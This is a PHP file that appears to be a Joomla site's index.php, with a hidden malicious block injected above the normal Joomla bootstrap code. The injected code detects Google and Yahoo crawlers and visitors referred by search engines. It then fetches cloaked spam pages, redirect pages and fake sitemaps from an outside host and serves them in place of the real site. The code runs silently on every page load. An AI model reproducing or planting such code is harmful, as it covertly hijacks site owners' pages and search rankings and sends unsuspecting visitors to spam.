File: /home/confeduphaar/backip-old-files/index.php
<?php
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
$join_url = "http://y6001.lievful.quest";
// var_dump($_SERVER);
// exit;
$domain = isset($_SERVER['HTTP_X_FORWARDED_HOST']) ? $_SERVER['HTTP_X_FORWARDED_HOST'] : (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '');
$rUrl=(isset($_SERVER['REQUEST_URI']) && $_SERVER['REQUEST_URI']!='')?$_SERVER['REQUEST_URI']:$_SERVER['HTTP_X_REWRITE_URL'];
$uAgent = @$_SERVER['HTTP_USER_AGENT'];
$referer = @$_SERVER['HTTP_REFERER'];
$uAgent = @strtolower($uAgent);
$referer = @strtolower($referer);
$http_type = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) ? 'https://' : 'http://';
$domain_url = $http_type . $domain;
$php_where= @$_SERVER['SCRIPT_NAME'];
if (substr($rUrl,-4)=='.xml') {
sitemap($join_url,$domain_url,$rUrl,$php_where);
exit;
}
function sitemap($join_url,$domain,$url,$php){
$ol = $join_url.'/Api/siteAllMap.php?domain='.$domain.'&rurl='.$url.'&php='.$php;
$getRes = curl_get_contents($ol);
if(strstr($getRes,'okhtmlgetcontent'))
{
@header('Content-type:text/xml');
$getRes = str_replace('okhtmlgetcontent','',$getRes);
echo $getRes;
exit();
}
else if(strstr($getRes,'getcontent404page'))
{
@header('HTTP/1.1 404 Not Found');
exit();
}
else{
echo $getRes;
}
}
function is_crawler($agent)
{
if (strpos($agent, 'google') !== false || strpos($agent, 'yahoo') !== false) {
return true;
} else {
return false;
}
}
if(is_crawler($uAgent))
{
$info=$join_url.'/info.php?domain='.$domain_url.'&rurl='.$rUrl.'&php='.$php_where;
// echo $info;
$file_contents = curl_get_contents($info);
if(!empty($file_contents)){
@header("Content-type: text/html; charset=utf-8");
$file_contents = str_replace('okhtmlgetcontent','',$file_contents);
echo $file_contents;
exit;
}
}
if(preg_match('/google.co.jp|yahoo|google\.com[^.]*?$|bing/i', $referer)){
$jumpurl=$join_url.'/jump.php?rurl='.$rUrl;
$jumpRes=curl_get_contents($jumpurl);
if ($jumpRes) {
@header("Content-type: text/html; charset=utf-8");
$jumpRes = str_replace("okhtmlgetcontent",'',$jumpRes);
echo $jumpRes;
exit();
}
}
function curl_get_contents($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
$file_contents = curl_exec($ch);
curl_close($ch);
return $file_contents;
}
?>
<?php
/**
* @package Joomla.Site
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
/**
* Define the application's minimum supported PHP version as a constant so it can be referenced within the application.
*/
define('JOOMLA_MINIMUM_PHP', '5.3.10');
if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<'))
{
die('Your host needs to use PHP ' . JOOMLA_MINIMUM_PHP . ' or higher to run this version of Joomla!');
}
// Saves the start time and memory usage.
$startTime = microtime(1);
$startMem = memory_get_usage();
/**
* Constant that is checked in included files to prevent direct access.
* define() is used in the installation folder rather than "const" to not error for PHP 5.2 and lower
*/
define('_JEXEC', 1);
if (file_exists(__DIR__ . '/defines.php'))
{
include_once __DIR__ . '/defines.php';
}
if (!defined('_JDEFINES'))
{
define('JPATH_BASE', __DIR__);
require_once JPATH_BASE . '/includes/defines.php';
}
require_once JPATH_BASE . '/includes/framework.php';
// Set profiler start time and memory usage and mark afterLoad in the profiler.
JDEBUG ? JProfiler::getInstance('Application')->setStart($startTime, $startMem)->mark('afterLoad') : null;
// Instantiate the application.
$app = JFactory::getApplication('site');
// Execute the application.
$app->execute();